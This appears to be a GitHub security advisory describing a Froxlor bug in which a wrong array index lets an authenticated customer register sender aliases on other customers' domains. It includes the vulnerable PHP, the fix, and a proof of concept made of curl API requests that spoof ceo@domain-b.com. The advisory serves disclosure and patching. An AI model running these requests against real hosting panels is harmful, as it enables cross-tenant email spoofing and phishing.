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Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing

Moderate severity GitHub Reviewed Published Apr 15, 2026 in froxlor/froxlor • Updated Apr 16, 2026

Package

composer froxlor/froxlor (Composer)

Affected versions

< 2.3.6

Patched versions

2.3.6

Description

Summary

In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses.

Details

In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:

// Line 96-106
if (substr($allowed_sender, 0, 1) != '@') {
    if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {
        Response::standardError('emailiswrong', $allowed_sender, true);
    }
    self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? "");  // BUG: [0] is the local part
} else {
    if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {
        Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);
    }
    self::validateLocalDomainOwnership(substr($allowed_sender, 1));  // CORRECT: passes domain
}

For input admin@domain-b.com, explode("@", "admin@domain-b.com") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.

The validateLocalDomainOwnership() function (lines 346-355) then queries panel_domains for a domain matching "admin":

private static function validateLocalDomainOwnership(string $domain): void
{
    $sel_stmt = Database::prepare("SELECT customerid FROM `" . TABLE_PANEL_DOMAINS . "` WHERE `domain` = :domain");
    $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);
    if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {
        Response::standardError('senderdomainnotowned', $domain, true);
    }
}

Since no domain named "admin" exists in panel_domains, $domain_result is false, and the function returns without error — the ownership check silently passes.

The inserted mail_sender_aliases row is then picked up by Postfix's sender_login_maps query (configured in mysql-virtual_sender_permissions.cf):

... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases
WHERE mail_sender_aliases.allowed_sender = '%s') ...

This query maps the allowed_sender back to the mail user, authorizing them to send as that address via SMTP.

PoC

# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,
# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)

# Step 1: As Customer A, add a sender alias claiming Customer B's domain
# Via API:
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.add",
    "params": {
      "emailaddr": "myaccount@domain-a.com",
      "allowed_sender": "ceo@domain-b.com"
    }
  }'

# Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B
# Actual: 200 OK — alias is created because validateLocalDomainOwnership
#         receives "ceo" (local part) instead of "domain-b.com" (domain)

# Step 2: Verify the alias was inserted
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.listing",
    "params": {"emailaddr": "myaccount@domain-a.com"}
  }'

# Step 3: Customer A can now send email as ceo@domain-b.com via SMTP
# because Postfix sender_login_maps will match the mail_sender_aliases entry
# and authorize Customer A's mail account to use that sender address.

The same attack works via the web UI by POST-ing to customer_email.php with action=add_sender and the target domain in allowed_domain.

Impact

Any authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:

  • Cross-customer email spoofing: Send emails impersonating users on other customers' domains, bypassing Postfix's smtpd_sender_login_maps restriction that is specifically designed to prevent this.
  • Multi-tenant isolation breach: The domain ownership check (validateLocalDomainOwnership) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses.
  • Phishing and reputation damage: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.

Note: The wildcard (@domain) code path at line 105 is not affected — it correctly passes the domain to validateLocalDomainOwnership().

Recommended Fix

Change index [0] to [1] on line 100 of lib/Froxlor/Api/Commands/EmailSender.php:

// Before (line 100):
self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? "");

// After:
self::validateLocalDomainOwnership(explode("@", $allowed_sender)[1] ?? "");

This ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.

References

@d00p d00p published to froxlor/froxlor Apr 15, 2026
Published to the GitHub Advisory Database Apr 16, 2026
Reviewed Apr 16, 2026
Last updated Apr 16, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

EPSS score

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-vmjj-qr7v-pxm6

Source code

Credits

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